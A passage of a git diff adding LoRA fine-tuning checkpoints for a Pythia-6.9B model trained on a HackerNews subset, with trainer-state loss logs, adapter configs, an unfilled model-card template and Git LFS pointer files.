"eval_runtime": 43.7829, + "eval_samples_per_second": 22.84, + "eval_steps_per_second": 2.855, + "step": 130 + }, + { + "epoch": 1.8666666666666667, + "grad_norm": 0.7506110072135925, + "learning_rate": 6.340740740740741e-05, + "loss": 2.4042, + "step": 140 + }, + { + "epoch": 1.8666666666666667, + "eval_loss": 2.5374648571014404, + "eval_runtime": 43.7868, + "eval_samples_per_second": 22.838, + "eval_steps_per_second": 2.855, + "step": 140 + }, + { + "epoch": 2.0, + "grad_norm": 0.790181040763855, + "learning_rate": 6.222222222222223e-05, + "loss": 2.4382, + "step": 150 + }, + { + "epoch": 2.0, + "eval_loss": 2.5376830101013184, + "eval_runtime": 43.776, + "eval_samples_per_second": 22.844, + "eval_steps_per_second": 2.855, + "step": 150 + }, + { + "epoch": 2.1333333333333333, + "grad_norm": 0.8619416952133179, + "learning_rate": 6.103703703703704e-05, + "loss": 2.2852, + "step": 160 + }, + { + "epoch": 2.1333333333333333, + "eval_loss": 2.557069778442383, + "eval_runtime": 43.8054, + "eval_samples_per_second": 22.828, + "eval_steps_per_second": 2.854, + "step": 160 + } + ], + "logging_steps": 10, + "max_steps": 675, + "num_input_tokens_seen": 0, + "num_train_epochs": 9, + "save_steps": 10, + "stateful_callbacks": { + "TrainerControl": { + "args": { + "should_epoch_stop": false, + "should_evaluate": false, + "should_log": false, + "should_save": true, + "should_training_stop": false + }, + "attributes": {} + } + }, + "total_flos": 2.62177151778816e+16, + "train_batch_size": 8, + "trial_name": null, + "trial_params": null +} diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-160/training_args.bin b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-160/training_args.bin new file mode 100644 index 0000000000000000000000000000000000000000..68b02330a1195a7529b7c5ac3d2074dca7a8843d --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-160/training_args.bin @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:5276490505c682789e6f542349fd3b486cf3586ea6a988c79078113f82ac15c0 +size 4859 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-170/README.md b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-170/README.md new file mode 100644 index 0000000000000000000000000000000000000000..e255b1d99c1c1d12955d852dc1056813be7ffca0 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-170/README.md @@ -0,0 +1,202 @@ +--- +base_model: /workspace/pythia-6_9b +library_name: peft +--- + +# Model Card for Model ID + + + + + +## Model Details + +### Model Description + + + + + +- **Developed by:** [More Information Needed] +- **Funded by [optional]:** [More Information Needed] +- **Shared by [optional]:** [More Information Needed] +- **Model type:** [More Information Needed] +- **Language(s) (NLP):** [More Information Needed] +- **License:** [More Information Needed] +- **Finetuned from model [optional]:** [More Information Needed] + +### Model Sources [optional] + + + +- **Repository:** [More Information Needed] +- **Paper [optional]:** [More Information Needed] +- **Demo [optional]:** [More Information Needed] + +## Uses + + + +### Direct Use + + + +[More Information Needed] + +### Downstream Use [optional] + + + +[More Information Needed] + +### Out-of-Scope Use + + + +[More Information Needed] + +## Bias, Risks, and Limitations + + + +[More Information Needed] + +### Recommendations + + + +Users (both direct and downstream) should be made aware of the risks, biases and limitations of the model. More information needed for further recommendations. + +## How to Get Started with the Model + +Use the code below to get started with the model. + +[More Information Needed] + +## Training Details + +### Training Data + + + +[More Information Needed] + +### Training Procedure + + + +#### Preprocessing [optional] + +[More Information Needed] + + +#### Training Hyperparameters + +- **Training regime:** [More Information Needed] + +#### Speeds, Sizes, Times [optional] + + + +[More Information Needed] + +## Evaluation + + + +### Testing Data, Factors & Metrics + +#### Testing Data + + + +[More Information Needed] + +#### Factors + + + +[More Information Needed] + +#### Metrics + + + +[More Information Needed] + +### Results + +[More Information Needed] + +#### Summary + + + +## Model Examination [optional] + + + +[More Information Needed] + +## Environmental Impact + + + +Carbon emissions can be estimated using the [Machine Learning Impact calculator](https://mlco2.github.io/impact#compute) presented in [Lacoste et al. (2019)](https://arxiv.org/abs/1910.09700). + +- **Hardware Type:** [More Information Needed] +- **Hours used:** [More Information Needed] +- **Cloud Provider:** [More Information Needed] +- **Compute Region:** [More Information Needed] +- **Carbon Emitted:** [More Information Needed] + +## Technical Specifications [optional] + +### Model Architecture and Objective + +[More Information Needed] + +### Compute Infrastructure + +[More Information Needed] + +#### Hardware + +[More Information Needed] + +#### Software + +[More Information Needed] + +## Citation [optional] + + + +**BibTeX:** + +[More Information Needed] + +**APA:** + +[More Information Needed] + +## Glossary [optional] + + + +[More Information Needed] + +## More Information [optional] + +[More Information Needed] + +## Model Card Authors [optional] + +[More Information Needed] + +## Model Card Contact + +[More Information Needed] +### Framework versions + +- PEFT 0.13.2 \ No newline at end of file diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-170/adapter_config.json b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-170/adapter_config.json new file mode 100644 index 0000000000000000000000000000000000000000..542f584a2a027304327916d01b73120e8cef2575 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-170/adapter_config.json @@ -0,0 +1,31 @@ +{ + "alpha_pattern": {}, + "auto_mapping": null, + "base_model_name_or_path": "/workspace/pythia-6_9b", + "bias": "none", + "fan_in_fan_out": false, + "inference_mode": true, + "init_lora_weights": true, + "layer_replication": null, + "layers_pattern": null, + "layers_to_transform": null, + "loftq_config": {}, + "lora_alpha": 32, + "lora_dropout": 0.1, + "megatron_config": null, + "megatron_core": "megatron.core", + "modules_to_save": null, + "peft_type": "LORA", + "r": 8, + "rank_pattern": {}, + "revision": null, + "target_modules": [ + "dense", + "query_key_value", + "dense_h_to_4h", + "dense_4h_to_h" + ], + "task_type": "CAUSAL_LM", + "use_dora": false, + "use_rslora": false +} \ No newline at end of file diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-170/adapter_model.safetensors b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-170/adapter_model.safetensors new file mode 100644 index 0000000000000000000000000000000000000000..3270ec85d708caa120e958d54960b8d846580cb1 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-170/adapter_model.safetensors @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:2cd37b148a01c4d3c4ee3ff4a8f68d52a10a515144baafc642bb6736258683ec +size 67144544 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-170/optimizer.pt b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-170/optimizer.pt new file mode 100644 index 0000000000000000000000000000000000000000..2a0e4817d57baaf8b8910443707b0f36568a08f9 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-170/optimizer.pt @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:05589f4e1658600c355743d6b98f7d23c3543c58c2fdc7db8a9a5ba18f46d6a0 +size 134432453 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-170/rng_state.pth b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-170/rng_state.pth new file mode 100644 index 0000000000000000000000000000000000000000..c13cd397e2cbe97d2fb9e944d382c58418c6b136 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-170/rng_state.pth @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:964f6178720317ac51eb375c889b2d86c7184aa024caf52b59339853ffae03ca +size 14575 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-170/scheduler.pt b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-170/scheduler.pt new file mode 100644 index 0000000000000000000000000000000000000000..98392616735ef4e842735f8fdb0443dd62c47cc3 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-170/scheduler.pt @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:3f8316c64c3f1dcba9f5f78f5461a5450278d6310afba0a2471aa470b51e14fa +size 627 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-170/trainer_state.json b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-170/trainer_state.json new file mode 100644 index 0000000000000000000000000000000000000000..19dfbaae55e92881fe49720923f3bd5b872ce805 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-170/trainer_state.json @@ -0,0 +1,288 @@ +{ + "best_metric": 2.526639699935913, + "best_model_checkpoint": "./output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-80", + "epoch": 2.2666666666666666, + "eval_steps": 10, + "global_step": 170, + "is_hyper_param_search": false, + "is_local_process_zero": true, + "is_world_process_zero": true, + "log_history": [ + { + "epoch": 0.13333333333333333, + "grad_norm": 0.37438902258872986, + "learning_rate": 7.881481481481482e-05, + "loss": 2.522, + "step": 10 + }, + { + "epoch": 0.13333333333333333, + "eval_loss": 2.5468266010284424, + "eval_runtime": 44.0007, + "eval_samples_per_second": 22.727, + "eval_steps_per_second": 2.841, + "step": 10 + }, + { + "epoch": 0.26666666666666666, + "grad_norm": 0.35912272334098816, + "learning_rate": 7.762962962962963e-05, + "loss": 2.4874, + "step": 20 + }, + { + "epoch": 0.26666666666666666, + "eval_loss": 2.54296612739563, + "eval_runtime": 43.8115, + "eval_samples_per_second": 22.825, + "eval_steps_per_second": 2.853, + "step": 20 + }, + { + "epoch": 0.4, + "grad_norm": 0.3801650404930115, + "learning_rate": 7.644444444444445e-05, + "loss": 2.4972, + "step": 30 + }, + { + "epoch": 0.4, + "eval_loss": 2.5399742126464844, + "eval_runtime": 43.8681, + "eval_samples_per_second": 22.796, + "eval_steps_per_second": 2.849, + "step": 30 + }, + { + "epoch": 0.5333333333333333, + "grad_norm": 0.3593173325061798, + "learning_rate": 7.525925925925926e-05, + "loss": 2.4633, + "step": 40 + }, + { + "epoch": 0.5333333333333333, + "eval_loss": 2.535550832748413, + "eval_runtime": 43.7847, + "eval_samples_per_second": 22.839, + "eval_steps_per_second": 2.855, + "step": 40 + }, + { + "epoch": 0.6666666666666666, + "grad_norm": 0.37406498193740845, + "learning_rate": 7.407407407407409e-05, + "loss": 2.4329, + "step": 50 + }, + { + "epoch": 0.6666666666666666, + "eval_loss": 2.533135175704956, + "eval_runtime": 43.9186, + "eval_samples_per_second": 22.769, + "eval_steps_per_second": 2.846, + "step": 50 + }, + { + "epoch": 0.8, + "grad_norm": 0.3373793661594391, + "learning_rate": 7.28888888888889e-05, + "loss": 2.5159, + "step": 60 + }, + { + "epoch": 0.8, + "eval_loss": 2.5308544635772705, + "eval_runtime": 43.8596, + "eval_samples_per_second": 22.8, + "eval_steps_per_second": 2.85, + "step": 60 + }, + { + "epoch": 0.9333333333333333, + "grad_norm": 0.3410486876964569, + "learning_rate": 7.170370370370371e-05, + "loss": 2.4616, + "step": 70 + }, + { + "epoch": 0.9333333333333333, + "eval_loss": 2.528620958328247, + "eval_runtime": 43.7873, + "eval_samples_per_second": 22.838, + "eval_steps_per_second": 2.855, + "step": 70 + }, + { + "epoch": 1.0666666666666667, + "grad_norm": 0.3606584966182709, + "learning_rate": 7.051851851851853e-05, + "loss": 2.4756, + "step": 80 + }, + { + "epoch": 1.0666666666666667, + "eval_loss": 2.526639699935913, + "eval_runtime": 43.8095, + "eval_samples_per_second": 22.826, + "eval_steps_per_second": 2.853, + "step": 80 + }, + { + "epoch": 1.2, + "grad_norm": 0.4812467098236084, + "learning_rate": 6.933333333333334e-05, + "loss": 2.3706, + "step": 90 + }, + { + "epoch": 1.2, + "eval_loss": 2.5288808345794678, + "eval_runtime": 43.7806, + "eval_samples_per_second": 22.841, + "eval_steps_per_second": 2.855, + "step": 90 + }, + { + "epoch": 1.3333333333333333, + "grad_norm": 0.5975897312164307, + "learning_rate": 6.814814814814815e-05, + "loss": 2.4033, + "step": 100 + }, + { + "epoch": 1.3333333333333333, + "eval_loss": 2.532658576965332, + "eval_runtime": 43.7811, + "eval_samples_per_second": 22.841, + "eval_steps_per_second": 2.855, + "step": 100 + }, + { + "epoch": 1.4666666666666668, + "grad_norm": 0.629486620426178, + "learning_rate": 6.696296296296296e-05, + "loss": 2.4018, + "step": 110 + }, + { + "epoch": 1.4666666666666668, + "eval_loss": 2.533242702484131, + "eval_runtime": 43.7907, + "eval_samples_per_second": 22.836, + "eval_steps_per_second": 2.854, + "step": 110 + }, + { + "epoch": 1.6, + "grad_norm": 0.818680465221405, + "learning_rate": 6.577777777777777e-05, + "loss": 2.4227, + "step": 120 + }, + { + "epoch": 1.6, + "eval_loss": 2.5338823795318604, + "eval_runtime": 43.7818, + "eval_samples_per_second": 22.841, + "eval_steps_per_second": 2.855, + "step": 120 + }, + { + "epoch": 1.7333333333333334, + "grad_norm": 0.8839734196662903, + "learning_rate": 6.45925925925926e-05, + "loss": 2.4284, + "step": 130 + }, + { + "epoch": 1.7333333333333334, + "eval_loss": 2.534684658050537, + "eval_runtime": 43.7829, + "eval_samples_per_second": 22.84, + "eval_steps_per_second": 2.855, + "step": 130 + }, + { + "epoch": 1.8666666666666667, + "grad_norm": 0.7506110072135925, + "learning_rate": 6.340740740740741e-05, + "loss": 2.4042, + "step": 140 + }, + { + "epoch": 1.8666666666666667, + "eval_loss": 2.5374648571014404, + "eval_runtime": 43.7868, + "eval_samples_per_second": 22.838, + "eval_steps_per_second": 2.855, + "step": 140 + }, + { + "epoch": 2.0, + "grad_norm": 0.790181040763855, + "learning_rate": 6.222222222222223e-05, + "loss": 2.4382, + "step": 150 + }, + { + "epoch": 2.0, + "eval_loss": 2.5376830101013184, + "eval_runtime": 43.776, + "eval_samples_per_second": 22.844, + "eval_steps_per_second": 2.855, + "step": 150 + }, + { + "epoch": 2.1333333333333333, + "grad_norm": 0.8619416952133179, + "learning_rate": 6.103703703703704e-05, + "loss": 2.2852, + "step": 160 + }, + { + "epoch": 2.1333333333333333, + "eval_loss": 2.557069778442383, + "eval_runtime": 43.8054, + "eval_samples_per_second": 22.828, + "eval_steps_per_second": 2.854, + "step": 160 + }, + { + "epoch": 2.2666666666666666, + "grad_norm": 1.1197975873947144, + "learning_rate": 5.9851851851851855e-05, + "loss": 2.266, + "step": 170 + }, + { + "epoch": 2.2666666666666666, + "eval_loss": 2.578442096710205, + "eval_runtime": 43.8144, + "eval_samples_per_second": 22.824, + "eval_steps_per_second": 2.853, + "step": 170 + } + ], + "logging_steps": 10, + "max_steps": 675, + "num_input_tokens_seen": 0, + "num_train_epochs": 9, + "save_steps": 10, + "stateful_callbacks": { + "TrainerControl": { + "args": { + "should_epoch_stop": false, + "should_evaluate": false, + "should_log": false, + "should_save": true, + "should_training_stop": false + }, + "attributes": {} + } + }, + "total_flos": 2.78563223764992e+16, + "train_batch_size": 8, + "trial_name": null, + "trial_params": null +} diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-170/training_args.bin b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-170/training_args.bin new file mode 100644 index 0000000000000000000000000000000000000000..68b02330a1195a7529b7c5ac3d2074dca7a8843d --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-170/training_args.bin @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:5276490505c682789e6f542349fd3b486cf3586ea6a988c79078113f82ac15c0 +size 4859 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-180/README.md b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-180/README.md new file mode 100644 index 0000000000000000000000000000000000000000..e255b1d99c1c1d12955d852dc1056813be7ffca0 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-180/README.md @@ -0,0 +1,202 @@ +--- +base_model: /workspace/pythia-6_9b +library_name: peft +--- + +# Model Card for Model ID + + + + + +## Model Details + +### Model Description + + + + + +- **Developed by:** [More Information Needed] +- **Funded by [optional]:** [More Information Needed] +- **Shared by [optional]:** [More Information Needed] +- **Model type:** [More Information Needed] +- **Language(s) (NLP):** [More Information Needed] +- **License:** [More Information Needed] +- **Finetuned from model [optional]:** [More Information Needed] + +### Model Sources [optional] + + + +- **Repository:** [More Information Needed] +- **Paper [optional]:** [More Information Needed] +- **Demo [optional]:** [More Information Needed] + +## Uses + + + +### Direct Use + + + +[More Information Needed] + +### Downstream Use [optional] + + + +[More Information Needed] + +### Out-of-Scope Use + + + +[More Information Needed] + +## Bias, Risks, and Limitations + + + +[More Information Needed] + +### Recommendations + + + +Users (both direct and downstream) should be made aware of the risks, biases and limitations of the model. More information needed for further recommendations. + +## How to Get Started with the Model + +Use the code below to get started with the model. + +[More Information Needed] + +## Training Details + +### Training Data + + + +[More Information Needed] + +### Training Procedure + + + +#### Preprocessing [optional] + +[More Information Needed] + + +#### Training Hyperparameters + +- **Training regime:** [More Information Needed] + +#### Speeds, Sizes, Times [optional] + + + +[More Information Needed] + +## Evaluation + + + +### Testing Data, Factors & Metrics + +#### Testing Data + + + +[More Information Needed] + +#### Factors + + + +[More Information Needed] + +#### Metrics + + + +[More Information Needed] + +### Results + +[More Information Needed] + +#### Summary + + + +## Model Examination [optional] + + + +[More Information Needed] + +## Environmental Impact + + + +Carbon emissions can be estimated using the [Machine Learning Impact calculator](https://mlco2.github.io/impact#compute) presented in [Lacoste et al. (2019)](https://arxiv.org/abs/1910.09700). + +- **Hardware Type:** [More Information Needed] +- **Hours used:** [More Information Needed] +- **Cloud Provider:** [More Information Needed] +- **Compute Region:** [More Information Needed] +- **Carbon Emitted:** [More Information Needed] + +## Technical Specifications [optional] + +### Model Architecture and Objective + +[More Information Needed] + +### Compute Infrastructure + +[More Information Needed] + +#### Hardware + +[More Information Needed] + +#### Software + +[More Information Needed] + +## Citation [optional] + + + +**BibTeX:** + +[More Information Needed] + +**APA:** + +[More Information Needed] + +## Glossary [optional] + + + +[More Information Needed] + +## More Information [optional] + +[More Information Needed] + +## Model Card Authors [optional] + +[More Information Needed] + +## Model Card Contact + +[More Information Needed] +### Framework versions + +- PEFT 0.13.2 \ No newline at end of file diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-180/adapter_config.json b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-180/adapter_config.json new file mode 100644 index 0000000000000000000000000000000000000000..542f584a2a027304327916d01b73120e8cef2575 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-180/adapter_config.json @@ -0,0 +1,31 @@ +{ + "alpha_pattern": {}, + "auto_mapping": null, + "base_model_name_or_path": "/workspace/pythia-6_9b", + "bias": "none", + "fan_in_fan_out": false, + "inference_mode": true, + "init_lora_weights": true, + "layer_replication": null, + "layers_pattern": null, + "layers_to_transform": null, + "loftq_config": {}, + "lora_alpha": 32, + "lora_dropout": 0.1, + "megatron_config": null, + "megatron_core": "megatron.core", + "modules_to_save": null, + "peft_type": "LORA", + "r": 8, + "rank_pattern": {}, + "revision": null, + "target_modules": [ + "dense", + "query_key_value", + "dense_h_to_4h", + "dense_4h_to_h" + ], + "task_type": "CAUSAL_LM", + "use_dora": false, + "use_rslora": false +} \ No newline at end of file diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-180/adapter_model.safetensors b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-180/adapter_model.safetensors new file mode 100644 index 0000000000000000000000000000000000000000..37aacb67be8600280cfaf779f4b86ee677e85e7f --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-180/adapter_model.safetensors @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:c90c29d0ec2184a0b31b153b8ca53f1fc3a1df0012f37e5e6281824d8a09b165 +size 67144544 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-180/optimizer.pt b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-180/optimizer.pt new file mode 100644 index 0000000000000000000000000000000000000000..b30a3f1731787b7b7993555f52dc9cd271537dbe --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-180/optimizer.pt @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:ef13f66878e2d7fca12bd37fb5cdb7bec7d1e0ac207ca23448bcf81f2a23a81f +size 134432453 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-180/rng_state.pth b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-180/rng_state.pth new file mode 100644 index 0000000000000000000000000000000000000000..fdca3aeb31ce5b4aeb2c0f2ba53e3e43b6334331 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-180/rng_state.pth @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:1b79baa0842c2916b082cba36f9f2b958210e6d7c1813742841fb908cae57fbd +size 14575 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-180/scheduler.pt b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-180/scheduler.pt new file mode 100644 index 0000000000000000000000000000000000000000..4c07d6d39c8000e4887811925b35913c0d0fb9e7 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-180/scheduler.pt @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:c5c510c48cbd7d4a31b049b9ce577d9a61337bf5b3120da8df24159e22a5b61b +size 627 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-180/trainer_state.json b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-180/trainer_state.json new file mode 100644 index 0000000000000000000000000000000000000000..fe1f47d35bf9fd5921c45b30acf74a9b8e523e4d --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-180/trainer_state.json @@ -0,0 +1,303 @@ +{ + "best_metric": 2.526639699935913, + "best_model_checkpoint": "./output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-80", + "epoch": 2.4, + "eval_steps": 10, + "global_step": 180, + "is_hyper_param_search": false, + "is_local_process_zero": true, + "is_world_process_zero": true, + "log_history": [ + { + "epoch": 0.13333333333333333, + "grad_norm": 0.37438902258872986, + "learning_rate": 7.881481481481482e-05, + "loss": 2.522, + "step": 10 + }, + { + "epoch": 0.13333333333333333, + "eval_loss": 2.5468266010284424, + "eval_runtime": 44.0007, + "eval_samples_per_second": 22.727, + "eval_steps_per_second": 2.841, + "step": 10 + }, + { + "epoch": 0.26666666666666666, + "grad_norm": 0.35912272334098816, + "learning_rate": 7.762962962962963e-05, + "loss": 2.4874, + "step": 20 + }, + { + "epoch": 0.26666666666666666, + "eval_loss": 2.54296612739563, + "eval_runtime": 43.8115, + "eval_samples_per_second": 22.825, + "eval_steps_per_second": 2.853, + "step": 20 + }, + { + "epoch": 0.4, + "grad_norm": 0.3801650404930115, + "learning_rate": 7.644444444444445e-05, + "loss": 2.4972, + "step": 30 + }, + { + "epoch": 0.4, + "eval_loss": 2.5399742126464844, + "eval_runtime": 43.8681, + "eval_samples_per_second": 22.796, + "eval_steps_per_second": 2.849, + "step": 30 + }, + { + "epoch": 0.5333333333333333, + "grad_norm": 0.3593173325061798, + "learning_rate": 7.525925925925926e-05, + "loss": 2.4633, + "step": 40 + }, + { + "epoch": 0.5333333333333333, + "eval_loss": 2.535550832748413, + "eval_runtime": 43.7847, + "eval_samples_per_second": 22.839, + "eval_steps_per_second": 2.855, + "step": 40 + }, + { + "epoch": 0.6666666666666666, + "grad_norm": 0.37406498193740845, + "learning_rate": 7.407407407407409e-05, + "loss": 2.4329, + "step": 50 + }, + { + "epoch": 0.6666666666666666, + "eval_loss": 2.533135175704956, + "eval_runtime": 43.9186, + "eval_samples_per_second": 22.769, + "eval_steps_per_second": 2.846, + "step": 50 + }, + { + "epoch": 0.8, + "grad_norm": 0.3373793661594391, + "learning_rate": 7.28888888888889e-05, + "loss": 2.5159, + "step": 60 + }, + { + "epoch": 0.8, + "eval_loss": 2.5308544635772705, + "eval_runtime": 43.8596, + "eval_samples_per_second": 22.8, + "eval_steps_per_second": 2.85, + "step": 60 + }, + { + "epoch": 0.9333333333333333, + "grad_norm": 0.3410486876964569, + "learning_rate": 7.170370370370371e-05, + "loss": 2.4616, + "step": 70 + }, + { + "epoch": 0.9333333333333333, + "eval_loss": 2.528620958328247, + "eval_runtime": 43.7873, + "eval_samples_per_second": 22.838, + "eval_steps_per_second": 2.855, + "step": 70 + }, + { + "epoch": 1.0666666666666667, + "grad_norm": 0.3606584966182709, + "learning_rate": 7.051851851851853e-05, + "loss": 2.4756, + "step": 80 + }, + { + "epoch": 1.0666666666666667, + "eval_loss": 2.526639699935913, + "eval_runtime": 43.8095, + "eval_samples_per_second": 22.826, + "eval_steps_per_second": 2.853, + "step": 80 + }, + { + "epoch": 1.2, + "grad_norm": 0.4812467098236084, + "learning_rate": 6.933333333333334e-05, + "loss": 2.3706, + "step": 90 + }, + { + "epoch": 1.2, + "eval_loss": 2.5288808345794678, + "eval_runtime": 43.7806, + "eval_samples_per_second": 22.841, + "eval_steps_per_second": 2.855, + "step": 90 + }, + { + "epoch": 1.3333333333333333, + "grad_norm": 0.5975897312164307, + "learning_rate": 6.814814814814815e-05, + "loss": 2.4033, + "step": 100 + }, + { + "epoch": 1.3333333333333333, + "eval_loss": 2.532658576965332, + 